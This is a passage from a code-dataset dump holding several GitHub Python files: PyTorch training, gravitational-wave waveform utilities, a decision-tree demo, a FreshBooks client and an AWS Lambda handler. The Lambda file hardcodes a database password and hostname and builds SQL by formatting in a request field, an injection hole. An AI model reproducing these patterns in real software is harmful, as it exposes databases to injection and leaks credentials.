mp._supports_context and 'forkserver' in mp.get_all_start_methods()):\n kwargs['multiprocessing_context'] = 'forkserver'\n\n train_dataset = \\\n datasets.ImageFolder(args.train_dir,\n transform=transforms.Compose([\n transforms.RandomResizedCrop(224),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n ]))\n train_sampler = None\n train_loader = torch.utils.data.DataLoader(\n train_dataset, batch_size=allreduce_batch_size,\n sampler=train_sampler, **kwargs)\n\n torch.set_num_threads(4)\n\n model = getattr(models, args.model)()\n\n # # By default, Adasum doesn't need scaling up learning rate.\n # # For sum/average with gradient Accumulation: scale learning rate by batches_per_allreduce\n # lr_scaler = args.batches_per_allreduce * hvd.size() if not args.use_adasum else 1\n lr_scaler = 1\n\n if args.cuda:\n # Move model to GPU.\n model.cuda()\n\n optimizer = optim.SGD(model.parameters(),\n lr=(args.base_lr *\n lr_scaler),\n momentum=args.momentum, weight_decay=args.wd)\n\n\n trainer = Trainer(args.scheduler_ip, args.scheduler_port, utils.get_host_ip(), args.trainer_port, args.job_id, args.batch_size)\n args.epochs = args.iterations // len(train_loader) + 1\n for epoch in range(resume_from_epoch, args.epochs):\n train(epoch)\n \n trainer.close()", "repo_name": "pkusys/TGS", "sub_path": "workloads/pytorch_imagenet_torchvision.py", "file_name": "pytorch_imagenet_torchvision.py", "file_ext": "py", "file_size_in_byte": 7704, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 33, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.path.append", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 3, "usage_type": "call"}, {"api_name": "os.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 3, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 22, "usage_type": "call"}, {"api_name": "argparse.ArgumentDefaultsHelpFormatter", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.expanduser", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 68, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.cuda.synchronize", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 75, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.cross_entropy", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 88, "usage_type": "name"}, {"api_name": "time.time", "line_number": 93, "usage_type": "call"}, {"api_name": "trainer.record", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 144, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 148, "usage_type": "call"}, {"api_name": "torch.cuda.manual_seed", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 151, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn.benchmark", "line_number": 153, "usage_type": "attribute"}, {"api_name": "torch.backends.cudnn", "line_number": 153, "usage_type": "name"}, {"api_name": "torch.multiprocessing", "line_number": 164, "usage_type": "argument"}, {"api_name": "torch.multiprocessing._supports_context", "line_number": 165, "usage_type": "attribute"}, {"api_name": "torch.multiprocessing", "line_number": 165, "usage_type": "name"}, {"api_name": "torch.multiprocessing.get_all_start_methods", "line_number": 165, "usage_type": "call"}, {"api_name": "torchvision.datasets.ImageFolder", "line_number": 169, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 169, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 170, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 170, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomResizedCrop", "line_number": 171, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 171, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 172, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 172, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 173, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 173, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 174, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 174, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 178, "usage_type": "attribute"}, {"api_name": "torch.set_num_threads", "line_number": 182, "usage_type": "call"}, {"api_name": "torchvision.models", "line_number": 184, "usage_type": "argument"}, {"api_name": "torch.optim.SGD", "line_number": 195, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 195, "usage_type": "name"}, {"api_name": "trainer.Trainer", "line_number": 201, "usage_type": "call"}, {"api_name": "utils.get_host_ip", "line_number": 201, "usage_type": "call"}, {"api_name": "trainer.close", "line_number": 206, "usage_type": "call"}]} {"seq_id": "37481049517", "text": "import numpy as np\nimport lal\nimport lalsimulation as LS\n\n\ndef linked_list_modes_to_dict_modes(hlm_ll):\n \"\"\"Convert linked list of modes into dictionary with keys (l,m).\"\"\"\n hlm_dict = {}\n\n mode = hlm_ll.this\n while mode is not None:\n l, m = mode.l, mode.m\n hlm_dict[(l, m)] = mode.mode\n mode = mode.next\n\n return hlm_dict\n\n\ndef get_tapering_window_for_complex_time_series(h, tapering_flag: int = 1):\n \"\"\"\n Get window for tapering of a complex time series from the lal backend. This is done\n by tapering the time series with lal, and dividing tapered output by untapered\n input. lal does not support tapering of complex time series objects, so as a\n workaround we taper only the real part of the array and extract the window based on\n this.\n\n Parameters\n ----------\n h:\n complex lal time series object\n tapering_flag: int = 1\n Flag for tapering. See e.g. lines 2773-2777 in\n https://lscsoft.docs.ligo.org/lalsuite/lalsimulation/\n _l_a_l_sim_inspiral_waveform_taper_8c_source.html#l00222\n tapering_flag = 1 corresponds to LAL_SIM_INSPIRAL_TAPER_START\n\n Returns\n -------\n window: np.ndarray\n Array of length h.data.length, with the window used for tapering.\n \"\"\"\n h_tapered = lal.CreateREAL8TimeSeries(\n \"h_tapered\", h.epoch, 0, h.deltaT, None, h.data.length\n )\n h_tapered.data.data = h.data.data.copy().real\n LS.SimInspiralREAL8WaveTaper(h_tapered.data, tapering_flag)\n eps = 1e-20 * np.max(np.abs(h.data.data))\n window = (np.abs(h_tapered.data.data) + eps) / (np.abs(h.data.data.real) + eps)\n # FIXME: using eps for numerical stability is not really robust here\n return window\n\n\ndef taper_td_modes_in_place(hlm_td, tapering_flag: int = 1):\n \"\"\"\n Taper the time domain modes in place.\n\n Parameters\n ----------\n hlm_td: dict\n Dictionary with (l,m) keys and the complex lal time series objects for the\n corresponding modes.\n tapering_flag: int = 1\n Flag for tapering. See e.g. lines 2773-2777 in\n https://lscsoft.docs.ligo.org/lalsuite/lalsimulation/\n _l_a_l_sim_inspiral_waveform_taper_8c_source.html#l00222\n tapering_flag = 1 corresponds to LAL_SIM_INSPIRAL_TAPER_START\n \"\"\"\n for _, h in hlm_td.items():\n window = get_tapering_window_for_complex_time_series(h, tapering_flag)\n h.data.data *= window\n\n\ndef td_modes_to_fd_modes(hlm_td, domain):\n \"\"\"\n Transform dict of td modes to dict of fd modes via FFT. The td modes are expected\n to be tapered.\n\n Parameters\n ----------\n hlm_td: dict\n Dictionary with (l,m) keys and the complex lal time series objects for the\n corresponding tapered modes.\n domain: dingo.gw.domains.FrequencyDomain\n Target domain after FFT.\n\n Returns\n -------\n hlm_fd: dict\n Dictionary with (l,m) keys and numpy arrays with the corresponding modes as\n values.\n \"\"\"\n hlm_fd = {}\n\n delta_f = domain.delta_f\n delta_t = 0.5 / domain.f_max\n f_nyquist = domain.f_max # use f_max as f_nyquist\n n = round(f_nyquist / delta_f)\n if (n & (n - 1)) != 0:\n raise NotImplementedError(\"f_nyquist not a power of two of delta_f.\")\n chirplen = int(2 * f_nyquist / delta_f)\n # sample frequencies, -f_max,...,-f_min,...0,...,f_min,...,f_max\n freqs = np.concatenate((-domain()[::-1], domain()[1:]), axis=0)\n # For even chirplength, we get chirplen + 1 output frequencies. However, the f_max\n # and -f_max bins are redundant, so we have chirplen unique bins.\n assert len(freqs) == chirplen + 1\n\n lal_fft_plan = lal.CreateForwardCOMPLEX16FFTPlan(chirplen, 0)\n for lm, h_td in hlm_td.items():\n assert np.abs(h_td.deltaT - delta_t) < 1e-12\n\n # resize data to chirplen by zero-padding or truncating\n # if chirplen < h_td.data.length:\n # print(\n # f\"Specified frequency interval of {delta_f} Hz is too large \"\n # f\"for a chirp of duration {h_td.data.length * delta_t} s with \"\n # f\"Nyquist frequency {f_nyquist} Hz. The inspiral will be \"\n # f\"truncated.\"\n # )\n lal.ResizeCOMPLEX16TimeSeries(h_td, h_td.data.length - chirplen, chirplen)\n\n # Initialize a lal frequency series. We choose length chirplen + 1, while h_td is\n # only of length chirplen. This means, that the last bin h_fd.data.data[-1]\n # will not be modified by the lal FFT, and we have to copy over h_fd.data.data[0]\n # to h_fd.data.data[-1]. This corresponds to setting h(-f_max) = h(f_max).\n h_fd = lal.CreateCOMPLEX16FrequencySeries(\n \"h_fd\", h_td.epoch, 0, delta_f, None, chirplen + 1\n )\n # apply FFT\n lal.COMPLEX16TimeFreqFFT(h_fd, h_td, lal_fft_plan)\n assert np.abs(h_fd.deltaF - delta_f) < 1e-10\n assert np.abs(h_fd.f0 + domain.f_max) < 1e-6\n\n # time shift\n dt = (\n 1.0 / h_fd.deltaF + h_fd.epoch.gpsSeconds + h_fd.epoch.gpsNanoSeconds * 1e-9\n )\n hlm_fd[lm] = h_fd.data.data * np.exp(-1j * 2 * np.pi * dt * freqs)\n # Set h(-f_max) = h(f_max), see above\n hlm_fd[lm][-1] = hlm_fd[lm][0]\n\n return hlm_fd\n\n\ndef get_polarizations_from_fd_modes_m(hlm_fd, iota, phase):\n pol_m = {}\n polarizations = [\"h_plus\", \"h_cross\"]\n\n for (l, m), h in hlm_fd.items():\n if m not in pol_m:\n pol_m[m] = {k: 0.0 for k in polarizations}\n pol_m[-m] = {k: 0.0 for k in polarizations}\n\n # In the L0 frame, we compute the polarizations from the modes using the\n # spherical harmonics below.\n ylm = lal.SpinWeightedSphericalHarmonic(iota, np.pi / 2 - phase, -2, l, m)\n ylmstar = ylm.conjugate()\n\n # Modes (l,m) are defined on domain -f_max,...,-f_min,...0,...,f_min,...,f_max.\n # This splits up the frequency series into positive and negative frequency parts.\n if len(h) % 2 != 1:\n raise ValueError(\n \"Even number of bins encountered, should be odd: -f_max,...,0,...,f_max.\"\n )\n offset = len(h) // 2\n h1 = h[offset:]\n h2 = h[offset::-1].conj()\n\n # Organize the modes such that pol_m[m] transforms as e^{- 1j * m * phase}.\n # This differs from the usual way, e.g.,\n # https://lscsoft.docs.ligo.org/lalsuite/lalsimulation/\n # _l_a_l_sim_inspiral_8c_source.html#l04801\n pol_m[m][\"h_plus\"] += 0.5 * h1 * ylm\n pol_m[-m][\"h_plus\"] += 0.5 * h2 * ylmstar\n pol_m[m][\"h_cross\"] += 0.5 * 1j * h1 * ylm\n pol_m[-m][\"h_cross\"] += -0.5 * 1j * h2 * ylmstar\n\n return pol_m\n\n\ndef get_starting_frequency_for_SEOBRNRv5_conditioning(parameters):\n \"\"\"\n Compute starting frequency needed for having 3 extra cycles for tapering the TD modes.\n It returns the needed quantities to apply the standard LALSimulation conditioning routines to the TD modes.\n\n Parameters\n ----------\n parameters: dict\n Dictionary of parameters suited for GWSignal (obtained with NewInterfaceWaveformGenerator._convert_parameters)\n\n Returns\n ----------\n f_min: float\n Waveform starting frequency\n f_start: float\n New waveform starting frequency\n extra_time: float\n Extra time to take care of situations where the frequency is close to merger\n original_f_min: float\n Initial waveform starting frequency\n f_isco: float\n ISCO frequency\n \"\"\"\n\n extra_time_fraction = (\n 0.1 # fraction of waveform duration to add as extra time for tapering\n )\n extra_cycles = 3.0 # more extra time measured in cycles at the starting frequency\n\n f_min = parameters[\"f22_start\"].value\n m1 = parameters[\"mass1\"].value\n m2 = parameters[\"mass2\"].value\n S1z = parameters[\"spin1z\"].value\n S2z = parameters[\"spin2z\"].value\n original_f_min = f_min\n\n f_isco = 1.0 / (pow(9.0, 1.5) * np.pi * (m1 + m2) * lal.MTSUN_SI)\n if f_min > f_isco:\n f_min = f_isco\n\n # upper bound on the chirp time starting at f_min\n tchirp = LS.SimInspiralChirpTimeBound(\n f_min, m1 * lal.MSUN_SI, m2 * lal.MSUN_SI, S1z, S2z\n )\n # upper bound on the final black hole spin */\n spinkerr = LS.SimInspiralFinalBlackHoleSpinBound(S1z, S2z)\n # upper bound on the final plunge, merger, and ringdown time */\n tmerge = LS.SimInspiralMergeTimeBound(\n m1 * lal.MSUN_SI, m2 * lal.MSUN_SI\n ) + LS.SimInspiralRingdownTimeBound((m1 + m2) * lal.MSUN_SI, spinkerr)\n\n # extra time to include for all waveforms to take care of situations where the frequency is close to merger (and is sweeping rapidly): this is a few cycles at the low frequency\n textra = extra_cycles / f_min\n # compute a new lower frequency\n f_start = LS.SimInspiralChirpStartFrequencyBound(\n (1.0 + extra_time_fraction) * tchirp + tmerge + textra,\n m1 * lal.MSUN_SI,\n m2 * lal.MSUN_SI,\n )\n\n f_isco = 1.0 / (pow(6.0, 1.5) * np.pi * (m1 + m2) * lal.MTSUN_SI)\n\n return f_min, f_start, extra_time_fraction * tchirp + textra, original_f_min, f_isco\n\n\ndef taper_td_modes_for_SEOBRNRv5_extra_time(\n h, extra_time, f_min, original_f_min, f_isco\n):\n \"\"\"\n Apply standard tapering procedure mimicking LALSimulation routine (https://lscsoft.docs.ligo.org/lalsuite/lalsimulation/_l_a_l_sim_inspiral_generator_conditioning_8c.html#ac78b5fcdabf8922a3ac479da20185c85)\n\n Parameters\n ----------\n h:\n complex gwpy TimeSeries object\n extra_time: float\n Extra time to take care of situations where the frequency is close to merger\n f_min: float\n Starting frequency employed in waveform generation\n original_f_min: float\n Initial starting frequency requested by the user\n f_isco:\n ISCO frequency\n\n Returns\n ----------\n h_return\n complex lal timeseries object\n \"\"\"\n\n # Split in real and imaginary parts, since LAL conditioning routines are for real timeseries\n h_tapered_re = lal.CreateREAL8TimeSeries(\n \"h_tapered\", h.epoch.value, 0, h.dt.value, None, len(h)\n )\n h_tapered_re.data.data = h.value.copy().real\n\n h_tapered_im = lal.CreateREAL8TimeSeries(\n \"h_tapered_im\", h.epoch.value, 0, h.dt.value, None, len(h)\n )\n h_tapered_im.data.data = h.value.copy().imag\n\n # condition the time domain waveform by tapering in the extra time at the beginning and high-pass filtering above original f_min\n LS.SimInspiralTDConditionStage1(\n h_tapered_re, h_tapered_im, extra_time, original_f_min\n )\n # final tapering at the beginning and at the end to remove filter transients\n # waveform should terminate at a frequency >= Schwarzschild ISCO\n # so taper one cycle at this frequency at the end; should not make\n # any difference to IMR waveforms */\n LS.SimInspiralTDConditionStage2(h_tapered_re, h_tapered_im, f_min, f_isco)\n\n # Construct complex timeseries\n h_return = lal.CreateCOMPLEX16TimeSeries(\n \"h_return\",\n h_tapered_re.epoch,\n 0,\n h_tapered_re.deltaT,\n None,\n h_tapered_re.data.length,\n )\n\n h_return.data.data = h_tapered_re.data.data + 1j * h_tapered_im.data.data\n\n # return timeseries\n return h_return\n", "repo_name": "dingo-gw/dingo", "sub_path": "dingo/gw/waveform_generator/wfg_utils.py", "file_name": "wfg_utils.py", "file_ext": "py", "file_size_in_byte": 11286, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 33, "dataset": "github-code", "pt": "7", "api": [{"api_name": "lal.CreateREAL8TimeSeries", "line_number": 42, "usage_type": "call"}, {"api_name": "lalsimulation.SimInspiralREAL8WaveTaper", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 102, "usage_type": "call"}, {"api_name": "lal.CreateForwardCOMPLEX16FFTPlan", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 109, "usage_type": "call"}, {"api_name": "lal.ResizeCOMPLEX16TimeSeries", "line_number": 119, "usage_type": "call"}, {"api_name": "lal.CreateCOMPLEX16FrequencySeries", "line_number": 125, "usage_type": "call"}, {"api_name": "lal.COMPLEX16TimeFreqFFT", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 137, "usage_type": "attribute"}, {"api_name": "lal.SpinWeightedSphericalHarmonic", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 155, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 216, "usage_type": "attribute"}, {"api_name": "lal.MTSUN_SI", "line_number": 216, "usage_type": "attribute"}, {"api_name": "lalsimulation.SimInspiralChirpTimeBound", "line_number": 221, "usage_type": "call"}, {"api_name": "lal.MSUN_SI", "line_number": 222, "usage_type": "attribute"}, {"api_name": "lalsimulation.SimInspiralFinalBlackHoleSpinBound", "line_number": 225, "usage_type": "call"}, {"api_name": "lalsimulation.SimInspiralMergeTimeBound", "line_number": 227, "usage_type": "call"}, {"api_name": "lal.MSUN_SI", "line_number": 228, "usage_type": "attribute"}, {"api_name": "lalsimulation.SimInspiralRingdownTimeBound", "line_number": 229, "usage_type": "call"}, {"api_name": "lal.MSUN_SI", "line_number": 229, "usage_type": "attribute"}, {"api_name": "lalsimulation.SimInspiralChirpStartFrequencyBound", "line_number": 234, "usage_type": "call"}, {"api_name": "lal.MSUN_SI", "line_number": 236, "usage_type": "attribute"}, {"api_name": "lal.MSUN_SI", "line_number": 237, "usage_type": "attribute"}, {"api_name": "numpy.pi", "line_number": 240, "usage_type": "attribute"}, {"api_name": "lal.MTSUN_SI", "line_number": 240, "usage_type": "attribute"}, {"api_name": "lal.CreateREAL8TimeSeries", "line_number": 271, "usage_type": "call"}, {"api_name": "lal.CreateREAL8TimeSeries", "line_number": 276, "usage_type": "call"}, {"api_name": "lalsimulation.SimInspiralTDConditionStage1", "line_number": 282, "usage_type": "call"}, {"api_name": "lalsimulation.SimInspiralTDConditionStage2", "line_number": 289, "usage_type": "call"}, {"api_name": "lal.CreateCOMPLEX16TimeSeries", "line_number": 292, "usage_type": "call"}]} {"seq_id": "987458072", "text": "import json\nfrom operator import imod\nimport sqlalchemy as db\n\nMSG_REQUEST_NO_BODY = {\"status\": 500, \"statusText\": \"Requests has no body.\", \"body\": {}}\nMSG_REQUEST_INCORRECT_FORMAT = {\"status\": 500, \"statusText\": \"Requests incorrect format.\", \"body\": {}}\nMSG_SUCCESS = {\"status\": 200, \"statusText\": \"Return home category successfully.\", \"body\": {}}\nMSG_FAIL_TO_CREATE = {\"status\": 422, \"statusText\": \"Account creation failed.\", \"body\": {}}\nMSG_ORDER_AGAIN_FAIL = {\"status\": 600, \"statusText\": \"Order again table is unavailable.\", \"body\": {}}\n\ndef input_checking( func ):\n\n def inner( event, context ):\n try:\n content = json.loads(event.get(\"body\"))\n except:\n return MSG_REQUEST_INCORRECT_FORMAT\n\n \"\"\"decorator for input checking\"\"\"\n try:\n # assert content.get( \"firstName\" ), \"First Name not found\"\n # assert content.get( \"lastName\" ), \"Last Name not found\"\n # assert content.get( \"email\" ), \"Email not found.\"\n # assert content.get( \"birthday\" ), \"Birthday not found.\"\n # assert content.get( \"password\" ), \"Password not found.\"\n pass\n\n except Exception as e:\n # return data\n return { \"status\": 422, \"statusText\": \"Account field missing.\", \"body\": str( e ) }\n\n # return function\n return func( content, context )\n\n # return\n return inner\n\ndef db_connection():\n username = \"admin\"\n password = \"avocado123\"\n server = \"avocado-348.cgooazgc1htx.us-east-1.rds.amazonaws.com\"\n database = \"avocado1\"\n\n db_url = \"mysql+pymysql://{}:{}@{}/{}\".format(username, password, server, database)\n engine = db.create_engine(db_url, echo=False)\n engine.connect()\n\n return engine\n\n@input_checking \ndef lambda_handler(event, context):\n rest_type = event.get('rest_type')\n\n sql = \"SELECT * FROM rest_info WHERE rest_type = \\\"{}\\\" ORDER BY rating DESC LIMIT 5;\".format(rest_type)\n\n #connect to db\n engine = db_connection()\n connection = engine.connect()\n rows = connection.execute(sql)\n req_rest = []\n\n bucket_name = 'avocado-bucket-1'\n\n for row in rows:\n\n req_rest.append(\n {\n \"rest_id\": row.rest_id,\n \"rest_name\": row.name,\n \"rest_type\": row.rest_type,\n \"rating\": row.rating,\n \"image\": \"https://{}.s3.amazonaws.com/RESTAURANTS/{}/a.png\".format(bucket_name, row.rest_id)\n }\n )\n\n MSG_SUCCESS['body'] = req_rest\n\n try:\n return MSG_SUCCESS\n\n except Exception as e:\n print(e)\n return MSG_ORDER_AGAIN_FAIL \n\n\n\n\nif __name__ == \"__main__\":\n body = {\n \"rest_type\": \"Asian\",\n }\n\n event = {\n \"body\": json.dumps(body)\n }\n context = \"\"\n\n response = lambda_handler(event, context)\n print(response)", "repo_name": "FongMunHong/cs348-Avocado", "sub_path": "backend/home/home-category.py", "file_name": "home-category.py", "file_ext": "py", "file_size_in_byte": 2864, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "json.loads", "line_number": 15, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 45, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 94, "usage_type": "call"}]} {"seq_id": "35592389973", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Oct 25 21:43:43 2023\r\n\r\n@author: Heitor Nunes Rosa\r\n@gmail: heitornunes12@gmail.com\r\n@github: @hnrosa\r\n\"\"\"\r\nfrom palmerpenguins import load_penguins\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import classification_report\r\nfrom sklearn import tree\r\nimport graphviz\r\nfrom sklearn.model_selection import GridSearchCV, StratifiedKFold\r\nimport numpy as np\r\nfrom mlxtend.plotting import plot_decision_regions\r\n#\r\n\r\n# %%\r\n\r\ndf = load_penguins().dropna()\r\n\r\nfig, ax = plt.subplots(1, 1, figsize = (12, 6), dpi = 300)\r\nsns.scatterplot(data = df, x = 'bill_length_mm', y = 'body_mass_g', \r\n palette = ['b', 'r', 'g'], hue = 'species',\r\n style = 'species', markers = ['s', '^', 'o'])\r\n\r\nX = df.loc[:, ['bill_length_mm', 'body_mass_g']]\r\n\r\ny = df['species']\r\n\r\n\r\n# %%\r\n\r\n\r\nclf1 = DecisionTreeClassifier()\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.3, random_state = 121, stratify = y)\r\n\r\nle = LabelEncoder().fit(y_train)\r\n\r\nclf1.fit(X_train, y_train)\r\n\r\ny_pred = clf1.predict(X_test)\r\n\r\nprint(classification_report(y_test, y_pred))\r\n\r\nfig = plt.figure(figsize=(25,20))\r\ndot_data = tree.export_graphviz(clf1, \r\n feature_names= list(X.columns), \r\n class_names= list(le.classes_),\r\n filled=True)\r\n\r\ngraphviz.Source(dot_data, format=\"png\")\r\n\r\n# %%\r\n\r\nkf = StratifiedKFold(4, shuffle = True, random_state = 121)\r\n\r\nparam_dist = {\r\n 'min_impurity_decrease': np.linspace(0.01, 0.1, 20)\r\n }\r\n\r\ngrid_search = GridSearchCV(clf1, param_dist, cv = kf, verbose = 1)\r\n\r\ngrid_search.fit(X_train, y_train)\r\n\r\n# %% \r\n\r\nclf2 = DecisionTreeClassifier(**grid_search.best_params_)\r\n\r\nclf2.fit(X_train, y_train)\r\n\r\ny_pred = clf2.predict(X_test)\r\n\r\n\r\nprint(f'Best min_impurity_decrease: {grid_search.best_params_[\"min_impurity_decrease\"]:.3f}')\r\nprint(classification_report(y_test, y_pred))\r\n\r\n\r\nfig = plt.figure(figsize=(25,20))\r\ndot_data = tree.export_graphviz(clf2, \r\n feature_names= list(X.columns), \r\n class_names= list(le.classes_),\r\n filled=True)\r\n\r\ngraphviz.Source(dot_data, format=\"png\")\r\n\r\n# %%\r\n\r\ny_train_ = le.transform(y_train)\r\nX_train_ = X_train.to_numpy()\r\n\r\nclf1.fit(X_train_, y_train_)\r\nclf2.fit(X_train_, y_train_)\r\n\r\ngraphviz.Source(dot_data, format=\"png\")\r\n\r\nfig, ax = plt.subplots(1, 2, figsize = (15, 6), dpi = 300)\r\n\r\nplot_decision_regions(X_train_, y_train_, clf = clf1, ax = ax[0], colors = 'b,r,g')\r\nplot_decision_regions(X_train_, y_train_, clf = clf2, ax = ax[1], colors = 'b,r,g')\r\n\r\nhandles, labels = ax[0].get_legend_handles_labels()\r\nax[0].legend(handles, list(le.classes_))\r\n\r\nhandles, labels = ax[1].get_legend_handles_labels()\r\nax[1].legend(handles, list(le.classes_))\r\n\r\nax[0].set_xlabel('bill_depth_mm')\r\nax[1].set_xlabel('bill_depth_mm')\r\n\r\nax[0].set_ylabel('body_mass_g')\r\nax[1].set_ylabel('body_mass_g')\r\n\r\nax[0].set_title('Decision Tree Classification Regions w/o Tuning')\r\nax[1].set_title('Decision Tree Classification Regions with Tuning')\r\n\r\n\r\n", "repo_name": "hnrosa/medium-articles", "sub_path": "05-decision-tree-growth/decision_tree.py", "file_name": "decision_tree.py", "file_ext": "py", "file_size_in_byte": 3266, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "palmerpenguins.load_penguins", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "seaborn.scatterplot", "line_number": 28, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 40, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 42, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 44, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "sklearn.tree.export_graphviz", "line_number": 53, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 53, "usage_type": "name"}, {"api_name": "graphviz.Source", "line_number": 58, "usage_type": "call"}, {"api_name": "sklearn.model_selection.StratifiedKFold", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 65, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 68, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 74, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "sklearn.tree.export_graphviz", "line_number": 86, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 86, "usage_type": "name"}, {"api_name": "graphviz.Source", "line_number": 91, "usage_type": "call"}, {"api_name": "graphviz.Source", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "mlxtend.plotting.plot_decision_regions", "line_number": 105, "usage_type": "call"}, {"api_name": "mlxtend.plotting.plot_decision_regions", "line_number": 106, "usage_type": "call"}]} {"seq_id": "73900505211", "text": "import logging\n\nfrom fbtimer import FRESHBOOKS_BASE_URL\nfrom fbtimer.model.project import Project\nfrom fbtimer.service.auth import auth\n\n\nlog = logging.getLogger(__name__)\n\n\ndef get_project(user, project_id):\n res = auth(user.token, include_content_type=False).get(\n '{}projects/business/{}/project/{}'\n .format(FRESHBOOKS_BASE_URL, user.business_id, project_id)\n ).json()\n log.debug('Project response: %s', res)\n\n if res.get('project'):\n return Project(res.get('project'))\n return None\n\n\ndef get_projects(user):\n res = auth(user.token, include_content_type=False).get(\n '{}projects/business/{}/projects?active=1&page=0'\n .format(FRESHBOOKS_BASE_URL, user.business_id)\n ).json()\n log.debug('Projects response: %s', res)\n\n projects = res.get('projects', [])\n if len(projects) == 0:\n return projects\n return [Project(a) for a in projects]\n\n\ndef get_client_projects(user, client_id):\n projects = get_projects(user)\n filtered_projects = []\n\n for project in projects:\n if client_id == project.client_id:\n filtered_projects.append(project)\n\n return filtered_projects\n", "repo_name": "amcintosh/FreshBooks-Timer", "sub_path": "fbtimer/service/project.py", "file_name": "project.py", "file_ext": "py", "file_size_in_byte": 1166, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "fbtimer.service.auth.auth", "line_number": 12, "usage_type": "call"}, {"api_name": "fbtimer.FRESHBOOKS_BASE_URL", "line_number": 14, "usage_type": "argument"}, 